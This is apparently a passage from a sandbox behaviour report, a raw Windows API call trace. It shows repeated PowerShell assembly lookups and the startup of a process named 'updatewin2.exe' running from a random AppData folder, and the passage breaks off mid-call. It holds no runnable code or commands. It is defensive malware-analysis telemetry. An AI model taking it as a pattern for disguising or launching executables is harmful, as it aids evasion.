[0063.299] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.299] GetLastError () returned 0xcb [0063.299] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.299] GetLastError () returned 0xcb [0063.299] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.299] GetLastError () returned 0xcb [0063.299] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.299] GetLastError () returned 0xcb [0063.299] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.299] GetLastError () returned 0xcb [0063.300] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.300] GetLastError () returned 0xcb [0063.300] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.300] GetLastError () returned 0xcb [0063.300] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.300] GetLastError () returned 0xcb [0063.300] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.300] GetLastError () returned 0xcb [0063.300] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.300] GetLastError () returned 0xcb [0063.300] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.300] GetLastError () returned 0xcb [0063.300] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.300] GetLastError () returned 0xcb [0063.300] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.300] GetLastError () returned 0xcb [0063.300] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.300] GetLastError () returned 0xcb [0063.300] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.300] GetLastError () returned 0xcb [0063.300] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.300] GetLastError () returned 0xcb [0063.300] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.301] GetLastError () returned 0xcb [0063.301] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.301] GetLastError () returned 0xcb [0063.301] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.301] GetLastError () returned 0xcb [0063.301] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.301] GetLastError () returned 0xcb [0063.301] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.301] GetLastError () returned 0xcb [0063.301] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.301] GetLastError () returned 0xcb [0063.301] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.301] GetLastError () returned 0xcb [0063.301] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.301] GetLastError () returned 0xcb [0063.301] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.301] GetLastError () returned 0xcb [0063.301] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.301] GetLastError () returned 0xcb [0063.301] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.301] GetLastError () returned 0xcb [0063.301] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.301] GetLastError () returned 0xcb [0063.301] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.302] GetLastError () returned 0xcb [0063.302] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.302] GetLastError () returned 0xcb [0063.303] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.303] GetLastError () returned 0xcb [0063.303] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.303] GetLastError () returned 0xcb [0063.303] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.303] GetLastError () returned 0xcb [0063.303] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.303] GetLastError () returned 0xcb [0063.321] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.321] GetLastError () returned 0xcb [0063.321] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.321] GetLastError () returned 0xcb [0063.321] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.321] GetLastError () returned 0xcb [0063.321] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14da24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.321] GetLastError () returned 0xcb [0063.321] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.321] GetLastError () returned 0xcb [0063.321] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d9d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.321] GetLastError () returned 0xcb [0063.321] VirtualQuery (in: lpAddress=0x14cf50, lpBuffer=0x14df50, dwLength=0x1c | out: lpBuffer=0x14df50*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0063.323] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.323] GetLastError () returned 0xcb [0063.354] VirtualQuery (in: lpAddress=0x14cf50, lpBuffer=0x14df50, dwLength=0x1c | out: lpBuffer=0x14df50*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0063.377] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.377] GetLastError () returned 0xcb [0063.379] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.379] GetLastError () returned 0xcb [0063.382] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.382] GetLastError () returned 0xcb [0063.385] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.385] GetLastError () returned 0xcb [0063.395] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.395] GetLastError () returned 0xcb [0063.409] VirtualQuery (in: lpAddress=0x14cf50, lpBuffer=0x14df50, dwLength=0x1c | out: lpBuffer=0x14df50*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0063.411] VirtualQuery (in: lpAddress=0x14cf50, lpBuffer=0x14df50, dwLength=0x1c | out: lpBuffer=0x14df50*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c Thread: id = 57 os_tid = 0x8a8 Thread: id = 58 os_tid = 0x8ac Thread: id = 59 os_tid = 0x8b0 Thread: id = 60 os_tid = 0x8b4 Thread: id = 61 os_tid = 0x8b8 [0055.800] CoGetContextToken (in: pToken=0x292f6e8 | out: pToken=0x292f6e8) returned 0x0 [0055.800] CObjectContext::QueryInterface () returned 0x0 [0055.800] CObjectContext::GetCurrentThreadType () returned 0x0 [0055.800] Release () returned 0x0 [0055.800] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0060.123] LocalFree (hMem=0x27f788) returned 0x0 [0060.123] GetLastError () returned 0x0 [0060.123] CloseHandle (hObject=0x344) returned 1 [0060.123] GetLastError () returned 0x0 [0060.123] CloseHandle (hObject=0x13) returned 1 [0060.123] GetLastError () returned 0x0 [0060.123] CloseHandle (hObject=0xf) returned 1 [0060.124] GetLastError () returned 0x0 [0060.124] RegCloseKey (hKey=0x328) returned 0x0 [0060.124] RegCloseKey (hKey=0x324) returned 0x0 [0060.124] RegCloseKey (hKey=0x320) returned 0x0 [0060.124] LocalFree (hMem=0x27f7a8) returned 0x0 [0060.124] GetLastError () returned 0x0 [0060.124] RegCloseKey (hKey=0x350) returned 0x0 [0062.537] RegCloseKey (hKey=0x350) returned 0x0 Process: id = "9" image_name = "updatewin2.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin2.exe" page_root = "0x147dd000" os_pid = "0x8bc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x80c" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin2.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 62 os_tid = 0x8c0 [0056.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xb42f6590, dwHighDateTime=0x1d55a45)) [0056.743] GetCurrentProcessId () returned 0x8bc [0056.743] GetCurrentThreadId () returned 0x8c0 [0056.743] GetTickCount () returned 0x11479a3 [0056.743] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17703684377) returned 1 [0056.755] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0056.756] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1fc0000 [0056.757] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0056.757] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0056.757] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0056.757] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0056.757] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0056.757] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0056.757] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0056.757] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0056.758] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0056.758] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0056.758] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0056.758] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0056.758] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0056.758] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0056.758] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0056.758] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0056.758] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0056.758] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0056.758] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0056.759] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0056.759] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0056.759] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x214) returned 0x1fc07d0 [0056.760] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0056.760] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0056.760] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0056.760] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0056.760] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0056.760] GetCurrentThreadId () returned 0x8c0 [0056.760] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0056.760] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x8, Size=0x800) returned 0x1fc09f0 [0056.760] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0056.760] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0056.760] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0056.760] SetHandleCount (uNumber=0x20) returned 0x20 [0056.760] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin2.exe\" " [0056.761] GetEnvironmentStringsW () returned 0x584e70* [0056.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0056.761] RtlAllocateHeap (HeapHandle=0x1fc0000, Flags=0x0, Size=0x565) returned 0x1fc11f8 [0056.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1fc11f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0056.761] FreeEnvironmentStringsW 